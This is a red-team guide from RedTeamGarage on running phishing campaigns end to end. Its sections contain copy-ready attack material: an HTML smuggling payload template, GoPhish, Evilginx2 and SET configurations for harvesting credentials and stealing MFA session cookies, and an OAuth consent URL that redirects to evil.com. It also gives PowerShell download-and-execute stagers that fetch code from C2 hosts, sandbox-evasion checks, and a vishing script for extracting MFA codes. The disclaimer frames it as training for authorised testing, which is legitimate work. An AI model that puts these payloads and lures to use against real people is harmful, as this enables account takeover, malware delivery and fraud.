



◆ OFFENSIVE SECURITY SERIES ◆

PHISHING CAMPAIGNS

End-to-End Offensive Phishing Operations

GoPhish · Evilginx · SET · Email Infra · Bypass · Lure Crafting · C2 Delivery

GoPhish

Evilginx2

SET

SMTP Relay

O365 Bypass

HTML Smuggling

Lure Craft

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All phishing simulations must ONLY be executed under explicit written authorisation.
Unauthorised phishing is illegal. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Phishing Campaigns — End-to-End Offensive Phishing Operations

01.	PHISHING OPERATIONS FUNDAMENTALS & ATTACK TYPES
02.	EMAIL INFRASTRUCTURE — DOMAIN, SMTP & DELIVERABILITY
03.	GOPHISH — CAMPAIGN SETUP, TRACKING & REPORTING
04.	EVILGINX2 — ADVERSARY-IN-THE-MIDDLE & MFA BYPASS
05.	SOCIAL ENGINEER'S TOOLKIT (SET) — CREDENTIAL HARVESTING
06.	LURE CRAFTING — EMAIL PRETEXT & TEMPLATE DESIGN
07.	HTML SMUGGLING & ATTACHMENT WEAPONISATION
08.	BYPASSING EMAIL SECURITY — SPF, DKIM, DMARC & ATP
09.	O365 & GOOGLE WORKSPACE PHISHING TECHNIQUES
10.	VISHING & SMISHING — VOICE & SMS PHISHING
11.	SPEAR PHISHING & WHALING — TARGETED CAMPAIGNS
12.	EVASION — AV, SANDBOX & LINK ANALYSIS BYPASS
13.	PHISHING C2 INTEGRATION — PAYLOAD DELIVERY
14.	MEASURING CAMPAIGN SUCCESS — METRICS & REPORTING
15.	PHISHING CAMPAIGN CHEAT SHEET



01 — PHISHING OPERATIONS FUNDAMENTALS

Attack Types, Target Selection & Campaign Planning

Phishing remains the most successful initial access vector in real-world adversarial operations. Red team phishing simulates the full attacker workflow: building credible email infrastructure, crafting convincing lures, bypassing modern email security controls, and delivering payloads that achieve initial access. Understanding every layer — from DNS records to MFA bypass — separates effective red teamers from script kiddies running generic GoPhish templates.

Attack Type	Description	Goal	Difficulty
Bulk Phishing	Mass email to all employees — generic lure	Credential harvest	Low
Spear Phishing	Targeted email — personalised to individual	Exec/admin creds	High
Whaling	CEO/CFO/CISO targeted — financial or data theft	Wire fraud/data	Very High
Vishing	Voice call impersonating IT/HR/vendors	MFA codes, creds	Medium
Smishing	SMS with malicious links — mobile targets	Link clicks	Medium
AiTM Phishing	Proxy between user and real site — steal session	MFA bypass	High
BEC	Business email compromise — internal impersonation	Financial fraud	High

PHISHING CAMPAIGN PLANNING CHECKLIST

- Scope confirmation — written authorisation, target list, excluded users
- Infrastructure — phishing domain, SMTP relay, landing page server
- Email list — harvested from OSINT (LinkedIn, theHarvester, Hunter.io)
- Pretext selection — scenario relevant to target role and current events
- Payload decision — credential harvest vs macro vs HTML smuggling vs link
- Detection baseline — what email security does target use? (Proofpoint, ATP, SEG)
- Success metrics — open rate, click rate, credential submission, payload exec



02 — EMAIL INFRASTRUCTURE

Phishing Domain, SMTP Setup, SPF/DKIM/DMARC & Deliverability

Email deliverability is the most commonly overlooked aspect of phishing campaigns. A perfectly crafted lure is worthless if it lands in spam. Professional red team operators invest significant time in domain reputation, DNS record configuration, and SMTP relay selection to achieve inbox delivery against modern email security gateways including Microsoft Defender ATP, Proofpoint, and Mimecast.

Domain Selection Strategy

Technique	Example	Notes
Typosquatting	targett.com, target-corp.com	Easy, obvious — low quality
Homoglyph	t■rget.com (Cyrillic '■')	Looks identical, Unicode trick
Hyphenation	target-helpdesk.com	Convincing IT pretext
Subdomain of real	target.com.helpdesk-portal.net	Passes quick visual check
TLD swap	target.net / target.co / target.io	Fast and credible
Combo / portmanteau	targetsupport.com	Common for helpdesk pretexts
Aged domain	Buy 6mo+ old domain	Higher trust score, less spam filtering

\$ DNS & SMTP Infrastructure Setup

```
# 1. Register domain (Namecheap, GoDaddy, etc.)

# 2. Set up A record – points to your phishing server
# A record: phish.targethelp.com → 203.0.113.50

# 3. SPF record – authorise your server to send email
# TXT @ 'v=spf1 ip4:203.0.113.50 include:sendgrid.net ~all'

# 4. DKIM – cryptographic signing (use Postfix + OpenDKIM)
sudo apt install opendkim opendkim-tools
opendkim-genkey -t -s mail -d targethelp.com
# Add TXT record: mail._domainkey → (generated public key)

# 5. DMARC – policy record
# TXT _dmarc 'v=DMARC1; p=none; rua=mailto:admin@targethelp.com'

# 6. MX record – required for deliverability checks
# MX @ mail.targethelp.com (priority 10)

# 7. PTR/rDNS – contact VPS provider to set reverse DNS
# 203.0.113.50 → mail.targethelp.com

# 8. Test deliverability BEFORE sending campaign
# https://mail-tester.com – score your setup
# https://mxtoolbox.com – check all DNS records
# https://dmarcian.com – DMARC validation

# 9. Warm up domain – send legit emails for 2+ weeks before phishing
```

SMTP RELAY OPTIONS FOR RED TEAMS

Self-hosted Postfix — Full control, requires server hardening + rDNS

SendGrid — High deliverability, free tier, API-driven sending

Mailgun — Transactional email API, good reputation

Amazon SES — Cheapest at scale, requires domain verification

MailJet / SparkPost — Alternatives with free tiers for small campaigns

Warning: Do NOT use shared hosting SMTP — immediate blacklisting risk



03 — GOPHISH — CAMPAIGN MANAGEMENT

Setup, Templates, Landing Pages, Tracking & Reporting

GoPhish is the de facto standard open-source phishing framework. It provides a web-based dashboard for managing sending profiles, email templates, landing pages, target groups, and campaigns. Every click, credential submission, and email open is tracked with timestamps and IP addresses, enabling professional reporting.

\$ GoPhish Setup & Configuration

```
# Download and extract GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/
  gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip && chmod +x gophish

# Edit config.json — set admin and phishing listener ports
cat config.json
{
  "admin_server": {"listen_url": "127.0.0.1:3333", "use_tls": true},
  "phish_server": {"listen_url": "0.0.0.0:80", "use_tls": false},
  "db_name": "sqlite3",
  "db_path": "gophish.db"
}

# Start GoPhish (get admin credentials from stdout)
sudo ./gophish
[*] Please login with the username admin and the password: a1b2c3d4
[*] Admin interface at https://127.0.0.1:3333

# SSH tunnel to access admin from local machine
ssh -L 3333:127.0.0.1:3333 user@phishing-server.com
# Now browse to https://127.0.0.1:3333

# Configure Sending Profile:
# SMTP From: IT-Support <helpdesk@targethelp.com>
# Host: localhost:25 (or SendGrid smtp.sendgrid.net:587)
# Username/Password: SMTP credentials
```

GoPhish Campaign Workflow

Step	Action	Key Setting
1	Sending Profile	SMTP relay, From name/address, test email
2	Landing Page	Clone real login page, capture credentials
3	Email Template	HTML email body, subject, {{.FirstName}} variables

Step	Action	Key Setting
4	Users & Groups	Import CSV: First,Last,Email,Position
5	Campaign	Link profile + page + template + group, set URL
6	Launch	Schedule send or immediate, track in dashboard
7	Results	Open rates, clicks, submitted data, timeline export

GOPHISH TEMPLATE VARIABLES

{{.FirstName}} — Target's first name (from CSV)

{{.LastName}} — Target's last name

{{.Email}} — Target's email address

{{.Position}} — Job title / position

{{.From}} — Sender name/email (useful for footer)

{{.TrackingURL}} — Unique pixel tracking URL (open tracking)

{{.URL}} — Unique phishing link per recipient



04 — EVILGINX2 — AITM & MFA BYPASS

Adversary-in-the-Middle Phishing — Steal Session Cookies Post-MFA

Evilginx2 is an adversary-in-the-middle (AiTM) phishing framework that acts as a reverse proxy between the victim and the real authentication service. When a victim logs in through the Evilginx proxy — including completing MFA — Evilginx captures both the credentials AND the authenticated session cookie. This cookie can be imported directly into a browser to achieve authenticated access with no further authentication required, completely bypassing MFA.

\$ Evilginx2 Setup & Operation

```
# Install Evilginx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && go build
sudo ./evilginx -p ./phishlets/

# Configure domain and external IP
: config domain targethelp.com
: config ipv4 203.0.113.50

# List available phishlets (pre-built for major services)
: phishlets
# Office365, LinkedIn, GitHub, Facebook, Google, Outlook, etc.

# Enable and configure Office365 phishlet
: phishlets hostname o365 login.targethelp.com
: phishlets enable o365

# Create lure URL — unique link per campaign
: lures create o365
: lures get-url 0
https://login.targethelp.com/BhJ3kLmN

# Monitor sessions — watch credentials + cookies come in
: sessions
: sessions 1
# Shows: username, password, tokens (session cookies!)

# Export session cookie for browser import
: sessions 1
# Copy 'tokens' field — import via EditThisCookie or Cookie Editor
```

EVILGINX PHISHLETS — SUPPORTED TARGETS

o365 / outlook — Microsoft Office 365, Outlook Web Access

linkedin — LinkedIn credentials + session

github — GitHub authentication

google — Google accounts including Workspace

facebook — Facebook / Meta credentials

Custom phishlets — Write YAML phishlet for ANY website

Note: Requires valid TLS cert — use Let's Encrypt via certbot



05 — SOCIAL ENGINEER'S TOOLKIT (SET)

Credential Harvesting, Spear Phishing & Site Cloning

The Social-Engineer Toolkit (SET) by TrustedSec is the original social engineering framework. SET provides automated website cloning for credential harvesting, spear phishing email attacks with payload delivery, and multi-attack web vectors. While newer tools like GoPhish and Evilginx have largely superseded it for campaigns, SET remains highly valuable for quick credential harvesting setups and payload delivery.

\$ SET Usage

```
# Launch SET
sudo setoolkit

# Main menu options:
# 1) Social-Engineering Attacks
# 2) Penetration Testing (Fast-Track)

# Credential harvester – clone a site
# 1 → 2 (Website Attack Vectors) → 3 (Credential Harvester)
# → 2 (Site Cloner)
# Enter IP: 203.0.113.50
# Enter URL to clone: https://login.microsoftonline.com

# Spear phishing with payload
# 1 → 1 (Spear-Phishing Attack Vectors) → 1 (Perform Mass Email Attack)

# QRCode attack – encode phishing URL in QR
# 1 → 9 (QRCode Generator Attack Vector)
# Enter URL: https://login.targethelp.com/BhJ3kLmN

# Captured credentials appear at:
# /root/.set/reports/

[*] We got a submission with a username/password: john.doe / P@ssword1
```



06 — LURE CRAFTING

Email Pretext Design, Subject Lines & Psychological Triggers

The email lure is the most critical component of any phishing campaign. A technically perfect infrastructure will fail if the email looks suspicious. Effective lures exploit psychological triggers — urgency, authority, fear, curiosity, and social proof — and are personalised using OSINT gathered during the reconnaissance phase.

Psychological Triggers

Trigger	Example Scenario	Effectiveness
Urgency	'Your account will be locked in 24 hours'	Very High
Authority	Email appears to come from CEO or IT Director	Very High
Fear	'Suspicious login detected from Russia'	High
Scarcity	'Action required before end of business today'	High
Curiosity	'Your manager shared a document with you'	High
Social Proof	'Your colleagues have already completed this'	Medium
Reciprocity	'Here is your requested document — please review'	Medium

High-Performing Subject Line Formulas

Category	Subject Line Example
IT Security	[ACTION REQUIRED] Verify your account credentials — expires 12:00 PM
IT Security	Suspicious sign-in attempt blocked — confirm your identity
HR	Important: Benefits enrollment closes Friday — action needed
HR	Your payroll direct deposit information requires update
Executive	Re: Q4 Budget Review — please confirm wire transfer details
Vendor	Invoice #INV-2024-0847 — payment overdue, immediate action required
IT Helpdesk	Your password expires in 24 hours — reset now to avoid lockout
Collaboration	{{.FirstName}}, {{.From}} shared a OneDrive file with you

LURE CRAFTING BEST PRACTICES

- Use target's real name ({{.FirstName}}) — personalisation significantly lifts clicks
- Reference real systems they use (found via OSINT: job posts, LinkedIn)
- Use domain that LOOKS like the sender's real domain (targethelp.com vs target.com)
- Match HTML template exactly to the real service being impersonated
- Include real logos, correct footer, unsubscribe link — passes visual inspection
- Use display name spoofing: IT Support <helpdesk@targethelp.com>
- Send on Tuesday-Thursday, 7-9AM or 3-5PM — highest open rate windows



07 — HTML SMUGGLING & ATTACHMENT WEAPONISATION

Bypass Email Gateways — Deliver Payloads That Land

Modern email gateways detonate attachments in sandboxes and strip malicious files. HTML smuggling bypasses this by encoding the payload inside the HTML file itself — the malicious file is reconstructed client-side in the browser using JavaScript Blob APIs after delivery. Since the email only contains an HTML file (not an executable), it passes most gateway inspections.

\$ HTML Smuggling Technique

```
# HTML Smuggling – payload reconstructed by browser via JS Blob
# The attached .html file contains the payload as base64

# Basic HTML Smuggling template:
<html><body>
<script>
  var payload = '<base64_encoded_payload_here>';
  var decoded = atob(payload);
  var bytes = new Uint8Array(decoded.length);
  for(var i=0;i<decoded.length;i++){bytes[i]=decoded.charCodeAt(i);}
  var blob = new Blob([bytes],{type:'application/octet-stream'});
  var url = window.URL.createObjectURL(blob);
  var a = document.createElement('a');
  a.href=url; a.download='Invoice_2024.zip';
  document.body.appendChild(a); a.click();
</script>
<p>Loading your document, please wait...</p>
</body></html>

# Generate base64 payload
base64 -w 0 payload.exe > payload.b64
cat payload.b64 # paste into HTML above

# Tools: Ninjagen, HTMLSmuggler, PwnDoc
python3 htmlsmuggler.py -i payload.exe -o email_attachment.html
```

Delivery Method	How It Works	Detection Risk
HTML Smuggling	Payload encoded in HTML — reassembled by browser JS	Low
ISO/IMG File	Container format often not inspected by AV/gateways	Low-Medium
Password-Protected ZIP	Gateway can't detonate — password in email body	Low
OneNote Attachment	Embedded click-to-run objects in .one files	Medium
LNK File	Shortcut with embedded PowerShell/command	Medium
Macro Document	Office macros (now disabled by default in O365)	High
PDF with link	PDF contains redirect to phishing/payload URL	Low



08 — BYPASSING EMAIL SECURITY

SPF/DKIM/DMARC Abuse, ATP Evasion & Sandbox Bypass

Enterprise email security stacks include Secure Email Gateways (SEG), Advanced Threat Protection (ATP) sandboxes, and anti-spoofing controls (SPF, DKIM, DMARC). Red teamers must understand each layer to achieve inbox delivery. This section covers the technical bypass techniques used in real adversary operations.

Control	What It Does	Red Team Bypass
SPF	Validates sending IP is authorised	Register own domain, set correct SPF
DKIM	Cryptographic email signature	Sign with own private key on own domain
DMARC	Alignment policy (SPF+DKIM must align)	Use registered domain — own domain passes
ATP Sandbox	Detonates attachments in VM	HTML smuggling, sandbox detection, delay execution
Link Detonation	Follows links in email, checks destination	Time-delayed redirect, geo-filter, JS check
Content Filtering	Scans email body for keywords/patterns	Obfuscate text, use images not text
Reputation Scoring	Domain/IP blacklist check	Aged domain, clean IP, warm-up sending

\$ Advanced Bypass Techniques

```
# Sandbox detection – delay payload execution
# Check if running in sandbox environment:
# - Check number of running processes (sandbox has < 50)
# - Check screen resolution (sandbox often 800x600)
# - Check for specific registry keys or usernames
# - Sleep for 5-10 minutes before execution

# Geo-fencing – only serve payload to target country
# Use Cloudflare Workers / nginx geo module
# nginx.conf:
geo $blocked { default 0; !US 1; !GB 1; } # Only serve to US/UK
if ($blocked) { return 404; }

# Time-delayed redirect – URL appears clean at scan time
# Legitimate URL → redirect to phishing URL after 2 hours
# Use: URL shorteners, redirect services, or custom PHP

# Custom 404 page – return 404 to scanners/crawlers
# Serve real phishing page only to expected User-Agent
# (most ATP crawlers use custom UA strings)

# HTTPS certificate – always use valid TLS cert
certbot certonly --standalone -d login.targethelp.com
# Self-signed certs → immediate browser warning = campaign fails
```



09 — O365 & GOOGLE WORKSPACE PHISHING

Consent Phishing, Device Code Auth & App-Based Attacks

Microsoft 365 and Google Workspace are the primary targets in modern enterprise phishing. Beyond credential harvesting, attackers leverage OAuth consent phishing and device code authentication flows to gain persistent access to email, OneDrive, and Teams without triggering MFA prompts — because OAuth grants bypass MFA entirely.

\$ O365 Consent Phishing & Device Code Attack

```
# OAuth Consent Phishing — trick user into granting app permissions
# Attacker registers malicious Azure App with read mail/files permissions
# Sends consent URL: https://login.microsoftonline.com/common/oauth2/
#   authorize?client_id=ATTACKER_APP_ID&redirect_uri=https://evil.com
#   &scope=Mail.Read+Files.ReadWrite+offline_access&response_type=code
# User clicks 'Accept' — attacker gets refresh token (no password needed!)

# Device Code Phishing — abuse OAuth device flow
# Attacker requests device code, sends it to victim in email
# 'Please go to https://microsoft.com/devicelogin and enter code: ABCDE'
# Victim authenticates on real Microsoft site — attacker's app gets tokens

# TokenPhisher / 365-Stealer for automated consent phishing
python3 365-stealer.py --setup # Register app in Azure
python3 365-stealer.py --run   # Launch consent phishing server

# Modlishka — alternative AiTM for O365
go build && ./modlishka -config phishing.json

# Evilginx2 with o365 phishlet (most reliable O365 AiTM)
: phishlets hostname o365 login.targethelp.com
: phishlets enable o365
: lures create o365
: sessions # Watch for authenticated sessions
```

O365 ATTACK SURFACE CHECKLIST

- Credential Harvest — Clone login.microsoftonline.com via Evilginx/GoPhish
- OAuth Consent — Malicious app requesting Mail.Read + Files.ReadWrite
- Device Code Flow — Phish victim into entering attacker device code
- Password Spray — Low and slow against O365 (see Guide 4)
- OWA Direct — Brute force OWA if legacy auth is enabled
- MFA Fatigue — Flood MFA push notifications until user accepts



10 — VISHING & SMISHING

Voice Phishing, SMS Attacks & Multi-Channel Campaigns

Vishing (voice phishing) and smishing (SMS phishing) are highly effective complements to email phishing. A vishing call impersonating the IT helpdesk — asking a target to read their MFA code to 'verify their identity' — achieves real-time MFA bypass. Smishing exploits the higher click-through rate of SMS messages and the reduced scrutiny users apply to mobile links.

Technique	Tools / Methods	Target	Success Rate
Vishing — MFA code harvest	Phone spoof + IT helpdesk pretext	2FA code on call	High
Vishing — credential reset	Call HR, request password reset for target	Account takeover	Medium
Smishing — link delivery	Spoofed SMS, O2/AT&T bank alert lures	Mobile credential harvest	High
Smishing — parcel lure	'Your delivery failed, confirm address'	Link click → harvest	Very High
Multi-channel	Email + follow-up call — 'Did you get my email?'	Increases trust	Very High

VISHING SCRIPT TEMPLATE — IT HELPDESK

'Hi, this is [Name] calling from the IT Security team at [Target Corp].'

'We've detected suspicious activity on your account from an overseas IP address.'

'To prevent a lockout, I need to quickly verify your identity.'

'Can you confirm your username? ... And I'll send you an MFA push now.'

'Can you read me the 6-digit code from your authenticator app?'

--- Attacker uses code in real-time to authenticate ---

Key: Sound calm, use their real name, reference real IT team names from OSINT



11 — SPEAR PHISHING & WHALING

Targeted Attack Planning Using OSINT Intelligence

Spear phishing targets specific individuals using personalised intelligence. Whaling targets C-suite executives. These attacks require significant OSINT preparation but achieve dramatically higher success rates. A spear phish that references the target's real project, their manager's name, and their company's actual IT system is nearly indistinguishable from a legitimate email.

OSINT Source	Intel Gathered	How Used in Spear Phish
LinkedIn	Manager name, project names, tech stack	'As discussed with [Manager]...'
Company website	Org chart, press releases, events	Reference real upcoming events
Job postings	Internal tools: 'experience with ServiceNow'	'Your ServiceNow ticket #12345...'
Twitter/X	Conferences attended, frustrations, interests	Hyper-personalised subject line
GitHub	Real project names, tech stack, coding language	'Re: the Python migration project'
Breach data	Old passwords reveal patterns	Password spray with pattern variants



12 — EVASION — AV, SANDBOX & LINK ANALYSIS

Bypass Techniques for Modern Email Security Stacks

\$ Evasion Techniques

```
# 1. AMSI/AV evasion for payload
# Obfuscate PowerShell payload:
python3 -c "
import base64
cmd = 'IEX(New-Object Net.WebClient).DownloadString(\"http://c2/stager\")'
enc = base64.b64encode(cmd.encode('utf-16-le')).decode()
print(f'powershell -enc {enc}')
"

# 2. Sleep-based sandbox evasion in macro/script
# VBA: Application.Wait(Now + TimeValue('00:05:00'))
# PowerShell: Start-Sleep -Seconds 300

# 3. User interaction check – sandbox won't click
# VBA: If Application.RecentFiles.Count < 3 Then Exit Sub

# 4. Environmental check
# PowerShell: if((Get-Process).Count -lt 50){exit}
# If < 50 running processes = likely sandbox

# 5. Link redirect chain (evade URL sandbox)
# phishing URL → legitimate redirector → check conditions → payload
# Use: Google Redirect, LinkedIn redirect, trusted CDN

# 6. ISO/IMG container delivery (no MOTW in older Windows)
# Victim mounts ISO → runs LNK/EXE inside = no Mark-of-the-Web
# Create ISO: mkisofs -o payload.iso payload/
```



13 — PHISHING C2 INTEGRATION

Payload Delivery — GoPhish to Cobalt Strike / Sliver / Havoc

The end goal of a phishing payload is not just credential capture but full command and control (C2) access. After a credential harvest or lure click, the final stage delivers a C2 implant. This section covers integrating GoPhish with modern C2 frameworks and the delivery chain from phishing email to beaconing implant.

C2 Framework	Implant Type	Delivery Method	Evasion Level
Cobalt Strike	Beacon (Reflective DLL)	Stage 0 → stager → beacon	High (if profiled)
Sliver	HTTPS/MTLS/DNS beacon	Single binary or shellcode	High
Havoc	Demon agent	Shellcode, reflective loader	High
Metasploit	Meterpreter	HTML smuggling, ISO, macro	Medium
Villain	PowerShell/Bash	Direct shell via lure	Low-Medium

\$ Phishing → C2 Delivery Chain

```
# Phishing email → HTML attachment → payload download → C2 beacon
```

```
# Stage 1: Victim clicks link in GoPhish email
```

```
# URL: https://targethelp.com/document/view?id=TRACK_ID
```

```
# Stage 2: Landing page serves HTML smuggler
```

```
# HTML auto-downloads encrypted ZIP via Blob API
```

```
# ZIP password: 1234 (included in email body)
```

```
# Stage 3: ZIP contains ISO file
```

```
# ISO contains: LNK shortcut (appears as PDF icon)
```

```
# Stage 4: LNK executes PowerShell stager
```

```
# powershell -w hidden -c "IEX((New-Object Net.WebClient)
```

```
#   .DownloadString('https://cdn.targethelp.com/update.ps1'))"
```

```
# Stage 5: stager downloads and executes C2 beacon
```

```
# Beacon calls back to C2 over HTTPS (teamserver)
```

```
# In GoPhish — track which users executed payload
```

```
# URL parameter: ?rid={{.Rid}} — unique per user
```

```
# Log on C2 server: when beacon connects, match Rid to user
```



14 — CAMPAIGN METRICS & REPORTING

Open Rates, Click Rates, Credential Capture & Executive Reporting

Phishing simulation reporting translates technical results into business risk. Executives need to understand susceptibility rates by department, the most effective lure types, and recommended training interventions. GoPhish provides raw data that should be processed into a professional report covering campaign methodology, findings, and recommendations.

Metric	Definition	Industry Average	Red Flag
Email Delivery Rate	% emails reaching inbox	85-95%	<70% = infra issue
Open Rate	% recipients who opened email	30-45%	<15% = blocked/spam
Click-Through Rate	% who clicked phishing link	15-25%	>40% = critical risk
Credential Submit Rate	% who entered credentials	10-20%	>25% = critical risk
Payload Exec Rate	% who ran the payload	5-15%	>20% = critical risk
Report Rate	% who reported as phishing	5-15%	<5% = training needed

REPORT STRUCTURE — PHISHING SIMULATION

- Executive Summary — Risk rating, top-line metrics, key findings
- Methodology — Infrastructure, lure type, target groups, dates
- Results — Per-department metrics, top clickers, timeline
- Findings — Most susceptible roles, most effective lures
- Evidence — Screenshots, payload delivery chain, C2 callout
- Recommendations — Security awareness training, email controls, MFA
- Appendix — Full target list results, raw data export



15 — PHISHING CAMPAIGN CHEAT SHEET

Complete Command & Reference — From Infra to Beacon

Domain registration	Register aged domain: -helpdesk.com
SPF record	TXT: v=spf1 ip4: ~all
DKIM setup	opendkim-genkey -t -s mail -d domain.com
DMARC record	TXT _dmarc: v=DMARC1; p=none; rua=mailto:admin@domain
PTR/rDNS	Request reverse DNS from VPS provider
Deliverability test	https://mail-tester.com – score before campaign
GoPhish start	sudo ./gophish → login https://127.0.0.1:3333
GoPhish SSH tunnel	ssh -L 3333:127.0.0.1:3333 user@phishing-server
Evilginx2 start	sudo ./evilginx -p ./phishlets/
Evilginx configure	config domain/ipv4 → phishlets hostname/enable → lures create
SET credential harvest	setoolkit → 1 → 2 → 3 → 2 → clone URL
HTML smuggling	base64 -w 0 payload.exe → embed in Blob JS → .html attachment
Let's Encrypt cert	certbot certonly --standalone -d phishing.domain.com
Sandbox sleep evasion	Start-Sleep -Seconds 300 before payload exec
PS encoded payload	[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(cmd))
ISO delivery	mkisofs -o payload.iso payload/ → include LNK inside
O365 device code phish	Trigger device code flow → send code to victim in email
MFA fatigue attack	Flood push notifications → victim accepts from frustration
GoPhish template var	{{.FirstName}} {{.Email}} {{.URL}} {{.TrackingURL}}
Click tracking URL	Set GoPhish URL with ?rid={{.RId}} for per-user tracking



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.